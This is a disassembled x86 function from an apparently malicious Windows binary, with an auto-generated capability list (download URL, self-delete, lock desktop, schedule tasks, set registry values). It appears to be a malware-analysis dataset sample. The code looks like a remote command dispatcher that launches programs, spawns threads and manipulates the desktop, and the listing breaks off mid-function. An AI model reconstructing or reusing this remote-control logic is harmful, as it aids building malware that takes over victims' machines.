Function at 0x493dac
Capabilities:
Copy file
Create process on windows
Create thread
Delete file
Download url
Get memory capacity
Hide graphical window
Lock the desktop
Power down monitor
Receive data
Schedule task via at
Self delete
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xf9
push 0
push 0
dec ecx
jne 0x493db4
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.004058ec
lea eax, [ebp - 0x198]
mov edx, dword [0x408a70]
call fcn.00405f08
xor eax, eax
push ebp
push 0x49b86f
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x49b70a
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 8]
mov edx, 0x49b888
call fcn.00405894
jne 0x493e29
mov ecx, dword [0x4a4b84]
mov ecx, dword [ecx]
lea eax, [ebp - 0x23c]
mov edx, 0x49b898
call fcn.00405784
mov eax, dword [ebp - 0x23c]
call fcn.004938a4
lea eax, [ebp - 0x240]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x240]
mov edx, 0x49b8a8
call fcn.00405894
jne 0x493fc7
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.00405504
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
mov eax, esi
mov edx, dword [ebp - 0xc]
call fcn.004054c0
lea eax, [esi + 4]
mov edx, dword [ebp - 0x10]
call fcn.004054c0
lea eax, [esi + 8]
mov edx, dword [ebp - 0x14]
call fcn.004054c0
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x18]
call fcn.004054c0
lea eax, [esi + 0x10]
mov edx, dword [ebp - 0x1c]
call fcn.004054c0
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x490b5c
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x244]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x244]
mov edx, 0x49b8c8
call fcn.00405894
jne 0x494019
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.0048ea2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49b71b
lea eax, [ebp - 0x248]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x248]
mov edx, 0x49b8dc
call fcn.00405894
jne 0x49407c
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.004059a4
push 0
mov eax, dword [ebp - 8]
call fcn.00409dd8
push eax
push 0
push 0
push 0x800
call sub.user32.dll_mouse_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49b71b
lea eax, [ebp - 0x24c]
push eax
mov ecx, 2
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x24c]
mov edx, 0x49b8ec
call fcn.00405894
jne 0x4940de
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4940b3
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
push eax
mov ecx, ebx
sub ecx, 2
mov edx, 3
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0xc]
call fcn.00445b7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49b71b
lea eax, [ebp - 0x250]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x250]
mov edx, 0x49b8f8
call fcn.00405894
jne 0x494132
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.004059a4
xor edx, edx
mov eax, dword [ebp - 8]
call fcn.0049091c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49b71b
lea eax, [ebp - 0x254]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x254]
mov edx, 0x49b908
call fcn.00405894
jne 0x494189
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.004059a4
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.0049091c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49b71b
lea eax, [ebp - 0x258]
push eax
mov ecx, 4
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x258]
mov edx, 0x49b918
call fcn.00405894
jne 0x4941e0
lea eax, [ebp - 8]
mov ecx, 4
mov edx, 1
call fcn.004059a4
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.0049091c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49b71b
lea eax, [ebp - 0x25c]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x25c]
mov edx, 0x49b928
call fcn.00405894
jne 0x4944d5
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x24]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 8]
call fcn.00405504
mov eax, dword [0x4a50b0]
mov byte [eax], 1
mov eax, dword [ebp - 0x14]
mov edx, 0x49b93c
call fcn.00405894
jne 0x4943f5
xor eax, eax
call fcn.0048d5b4
mov eax, dword [ebp - 0x18]
mov edx, 0x49b93c
call fcn.00405894
jne 0x49440b
xor eax, eax
call fcn.0048d708
mov eax, dword [ebp - 0x1c]
mov edx, 0x49b93c
call fcn.00405894
jne 0x494430
push 2
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 0x20]
mov edx, 0x49b93c
call fcn.00405894
jne 0x494446
mov al, 1
call fcn.0048e7a0
push 0x20
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1b0]
mov ebx, eax
lea eax, [ebx + 0xc]
mov edx, dword [ebp - 0x28]
call fcn.004054c0
mov eax, dword [ebp - 0xc]
call fcn.00409dd8
mov dword [ebx], eax
mov eax, dword [ebp - 0x10]
call fcn.00409dd8
mov dword [ebx + 4], eax
lea eax, [ebx + 8]
mov edx, dword [ebp - 0x24]
call fcn.004054c0
mov eax, dword [ebp - 0x14]
call fcn.00409dd8
mov dword [ebx + 0x10], eax
mov eax, dword [ebp - 0x18]
call fcn.00409dd8
mov dword [ebx + 0x14], eax
mov eax, dword [ebp - 0x1c]
call fcn.00409dd8
mov dword [ebx + 0x18], eax
mov eax, dword [ebp - 0x20]
call fcn.00409dd8
mov dword [ebx + 0x1c], eax
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp - 0x1b0]
push eax
push 0x491f44
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x260]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x260]
mov edx, 0x49b948
call fcn.00405894
jne 0x49451a
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a50b0]
mov byte [eax], 0
lea eax, [ebp - 0x264]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x264]
mov edx, 0x49b95c
call fcn.00405894
jne 0x494564
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.00409dd8
call fcn.00490790
mov eax, dword [ebp - 8]
mov edx, 0x49b970
call fcn.00405894
jne 0x494594
mov eax, dword [0x4a5110]
xor edx, edx
mov dword [eax], edx
mov eax, dword [0x4a5004]
mov eax, dword [eax]
call fcn.004302b8
mov eax, dword [0x4a5004]
mov eax, dword [eax]
call fcn.00404640
lea eax, [ebp - 0x268]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x268]
mov edx, 0x49b984
call fcn.00405894
jne 0x494836
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
mov eax, dword [0x4a4fc4]
mov edx, dword [ebp - 0xc]
call fcn.004054c0
lea eax, [ebp - 0x1c]
call fcn.0048c270
movzx eax, byte [0x49b98c]
push eax
lea eax, [ebp - 0x26c]
push eax
mov ecx, 0x49b998
mov edx, 0x49b8bc
mov eax, dword [ebp - 0x1c]
call fcn.0040ee40
mov edx, dword [ebp - 0x26c]
lea eax, [ebp - 0x1c]
call fcn.00405504
call fcn.0048c3dc
test al, al
je 0x494679
lea eax, [ebp - 0x14]
mov edx, 0x49b9a4
call fcn.00405504
jmp 0x494686
lea eax, [ebp - 0x14]
mov edx, 0x49b9b4
call fcn.00405504
lea eax, [ebp - 0x270]
call fcn.0048c2ec
cmp dword [ebp - 0x270], 0
je 0x4946a9
lea eax, [ebp - 0x18]
mov edx, 0x49b9c4
call fcn.00405504
jmp 0x4946b1
lea eax, [ebp - 0x18]
call fcn.0040546c
push 0x49b9d0
mov eax, dword [0x4a4d04]
push dword [eax]
push 0x49b8bc
push dword [ebp - 0xc]
push 0x49b9e0
push 0x49b9ec
lea eax, [ebp - 0x278]
call fcn.00485828
push dword [ebp - 0x278]
push 0x49b9f8
lea edx, [ebp - 0x27c]
mov eax, dword [0x4a4dbc]
movzx eax, word [eax]
call fcn.00409c6c
push dword [ebp - 0x27c]
push 0x49b8bc
lea eax, [ebp - 0x280]
call fcn.0048c1cc
push dword [ebp - 0x280]
push 0x49b9e0
lea eax, [ebp - 0x284]
call fcn.0048c190
push dword [ebp - 0x284]
push 0x49b8bc
push dword [ebp - 0x10]
push 0x49b8bc
call fcn.0048d948
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x288]
call fcn.00409d58
push dword [ebp - 0x288]
push 0x49ba08
push 0x49b8bc
lea eax, [ebp - 0x28c]
call fcn.0048c718
push dword [ebp - 0x28c]
push dword [ebp - 0x14]
push 0x49ba14
lea eax, [ebp - 0x294]
call fcn.0048ca58
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x290]
call fcn.0040a49c
push dword [ebp - 0x290]
push 0x49ba20
push 0x49b8bc
lea eax, [ebp - 0x298]
call fcn.0048ef08
push dword [ebp - 0x298]
push 0x49b8bc
push dword [ebp - 0x18]
push 0x49b8bc
lea eax, [ebp - 0x29c]
call fcn.0048c208
push dword [ebp - 0x29c]
push 0x49b8bc
push dword [ebp - 0x1c]
push 0x49b8bc
mov eax, dword [0x4a4ce0]
push dword [eax]
push 0x49b8bc
lea eax, [ebp - 0x2a0]
call fcn.0048d0a0
push dword [ebp - 0x2a0]
push 0x49b8bc
lea eax, [ebp - 0x2a4]
call fcn.0048cfc4
push dword [ebp - 0x2a4]
push 0x49b8bc
mov eax, dword [0x4a4dcc]
push dword [eax]
lea eax, [ebp - 0x274]
mov edx, 0x28
call fcn.00405800
mov eax, dword [ebp - 0x274]
call fcn.004938a4
lea eax, [ebp - 0x2a8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x2a8]
mov edx, 0x49ba2c
call fcn.00405894
jne 0x494929
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x2ac]
call fcn.0048c2ec
cmp dword [ebp - 0x2ac], 0
je 0x49489a
lea eax, [ebp - 0xc]
mov edx, 0x49b9c4
call fcn.00405504
jmp 0x4948a2
lea eax, [ebp - 0xc]
call fcn.0040546c
push 0x49ba40
mov eax, dword [0x4a4d04]
push dword [eax]
push 0x49b8bc
push dword [ebp - 8]
push 0x49b8bc
call fcn.0048d948
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x2b4]
call fcn.00409d58
push dword [ebp - 0x2b4]
push 0x49ba08
push 0x49b8bc
push dword [ebp - 0xc]
push 0x49b8bc
lea eax, [ebp - 0x2b8]
call fcn.0048d0a0
push dword [ebp - 0x2b8]
push 0x49b8bc
lea eax, [ebp - 0x2bc]
call fcn.0048c270
push dword [ebp - 0x2bc]
lea eax, [ebp - 0x2b0]
mov edx, 0xd
call fcn.00405800
mov eax, dword [ebp - 0x2b0]
call fcn.004938a4
lea eax, [ebp - 0x2c0]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x2c0]
mov edx, 0x49ba54
call fcn.00405894
jne 0x494a71
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x2c4]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x2c4]
call fcn.00409dd8
mov edx, dword [0x4a4cf4]
mov dword [edx], eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x2c8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x2c8]
call fcn.00409dd8
mov edx, dword [0x4a4e6c]
mov dword [edx], eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.00409dd8
mov edx, dword [0x4a4dec]
mov dword [edx], eax
push 4
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov eax, ebx
mov dword [ebp - 0x1c8], eax
lea edx, [ebp - 0x2cc]
mov eax, dword [0x4a4cf4]
mov eax, dword [eax]
call fcn.00409c6c
mov edx, dword [ebp - 0x2cc]
mov eax, dword [ebp - 0x1c8]
call fcn.004054c0
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x492348
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x2d0]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x2d0]
mov edx, 0x49ba68
call fcn.00405894
jne 0x494ac5
lea eax, [ebp - 8]
mov ecx, 3
mov edx, 1
call fcn.004059a4
push 0x40
push 0x49ba6c
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
push 0
call sub.user32.dll_MessageBoxA_1
lea eax, [ebp - 0x2d4]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x2d4]
mov edx, 0x49ba78
call fcn.00405894
jne 0x494b1d
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.004059a4
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
push 0x49ba84
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 8]
mov edx, 0x49ba94
call fcn.00405894
jne 0x494b58
lea eax, [ebp - 0x2dc]
call fcn.0048b5d8
mov ecx, dword [ebp - 0x2dc]
lea eax, [ebp - 0x2d8]
mov edx, 0x49baa8
call fcn.00405784
mov eax, dword [ebp - 0x2d8]
call fcn.004938a4
mov eax, dword [ebp - 8]
mov edx, 0x49bab8
call fcn.00405894
jne 0x494b93
lea eax, [ebp - 0x2e4]
call fcn.0049066c
mov ecx, dword [ebp - 0x2e4]
lea eax, [ebp - 0x2e0]
mov edx, 0x49bacc
call fcn.00405784
mov eax, dword [ebp - 0x2e0]
call fcn.004938a4
lea eax, [ebp - 0x2e8]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x2e8]
mov edx, 0x49badc
call fcn.00405894
jne 0x494cb7
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.00405504
push ebp
lea edx, [ebp - 0x2ec]
mov eax, dword [ebp - 0xc]
call fcn.0048b184
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
call fcn.00493ce0
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x49baec
call fcn.00405894
jne 0x494cf4
lea edx, [ebp - 0x2f4]
xor eax, eax
call fcn.0048e3cc
mov ecx, dword [ebp - 0x2f4]
lea eax, [ebp - 0x2f0]
mov edx, 0x49bb00
call fcn.00405784
mov eax, dword [ebp - 0x2f0]
call fcn.004938a4
mov eax, dword [ebp - 8]
mov edx, 0x49bb10
call fcn.00405894
jne 0x494d34
lea edx, [ebp - 0x2fc]
mov eax, 5
call fcn.0048e3cc
mov ecx, dword [ebp - 0x2fc]
lea eax, [ebp - 0x2f8]
mov edx, 0x49bb00
call fcn.00405784
mov eax, dword [ebp - 0x2f8]
call fcn.004938a4
mov eax, dword [ebp - 8]
mov edx, 0x49bb24
call fcn.00405894
jne 0x494d4d
call sub.kernel32.dll_GetCurrentProcessId
call fcn.0048abec
mov eax, dword [ebp - 8]
mov edx, 0x49bb38
call fcn.00405894
jne 0x494d69
mov eax, dword [0x4a4f1c]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_closesocket
mov eax, dword [ebp - 8]
mov edx, 0x49bb50
call fcn.00405894
jne 0x494dff
mov eax, dword [0x4a4ec0]
mov eax, dword [eax]
mov edx, 0x49b93c
call fcn.00405894
je 0x494dc9
push 0x49bb68
lea edx, [ebp - 0x304]
xor eax, eax
call fcn.0040f130
push dword [ebp - 0x304]
push 0x49bb90
lea eax, [ebp - 0x300]
mov edx, 3
call fcn.00405800
mov eax, dword [ebp - 0x300]
call fcn.0048b0c8
jmp 0x494df5
push 0x49bb68
mov eax, dword [0x4a4c50]
push dword [eax]
push 0x49bb90
lea eax, [ebp - 0x308]
mov edx, 3
call fcn.00405800
mov eax, dword [ebp - 0x308]
call fcn.0048b0c8
call sub.kernel32.dll_GetCurrentProcessId
call fcn.0048abec
lea eax, [ebp - 0x30c]
push eax
mov ecx, 0x12
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x30c]
mov edx, 0x49bb9c
call fcn.00405894
jne 0x494e56
lea eax, [ebp - 8]
mov ecx, 0x12
mov edx, 1
call fcn.004059a4
xor ecx, ecx
mov edx, dword [ebp - 8]
xor eax, eax
call fcn.0048da1c
test al, al
jne 0x494e56
mov eax, 0x49bbb8
call fcn.004938a4
lea eax, [ebp - 0x310]
push eax
mov ecx, 0xf
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x310]
mov edx, 0x49bbc8
call fcn.00405894
jne 0x494f83
lea eax, [ebp - 8]
mov ecx, 0xf
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
lea edx, [ebp - 0x314]
mov eax, dword [ebp - 0xc]
call fcn.00409a78
cmp dword [ebp - 0x314], 0
je 0x494f41
push 5
lea edx, [ebp - 0x318]
mov eax, dword [ebp - 0xc]
call fcn.0040a49c
mov eax, dword [ebp - 0x318]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
push 0x49ba84
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x494f83
mov eax, 0x49bbe0
call fcn.004938a4
jmp 0x494f83
push 5
lea edx, [ebp - 0x31c]
mov eax, dword [ebp - 0xc]
call fcn.0040a49c
mov eax, dword [ebp - 0x31c]
call fcn.004058fc
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
push 0x49ba84
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x494f83
mov eax, 0x49bbe0
call fcn.004938a4
lea eax, [ebp - 0x320]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x320]
mov edx, 0x49bbf4
call fcn.00405894
jne 0x4950b0
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
lea edx, [ebp - 0x324]
mov eax, dword [ebp - 0xc]
call fcn.00409a78
cmp dword [ebp - 0x324], 0
je 0x49506e
push 0
lea edx, [ebp - 0x328]
mov eax, dword [ebp - 0xc]
call fcn.0040a49c
mov eax, dword [ebp - 0x328]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
push 0x49ba84
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x4950b0
mov eax, 0x49bbe0
call fcn.004938a4
jmp 0x4950b0
push 0
lea edx, [ebp - 0x32c]
mov eax, dword [ebp - 0xc]
call fcn.0040a49c
mov eax, dword [ebp - 0x32c]
call fcn.004058fc
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
push 0x49ba84
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x4950b0
mov eax, 0x49bbe0
call fcn.004938a4
lea eax, [ebp - 0x330]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x330]
mov edx, 0x49bc10
call fcn.00405894
jne 0x49513c
lea eax, [ebp - 8]
mov ecx, 7
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.00409dd8
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.0048dac4
lea eax, [ebp - 0x334]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x334]
mov edx, 0x49bc20
call fcn.00405894
jne 0x495251
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49bc34
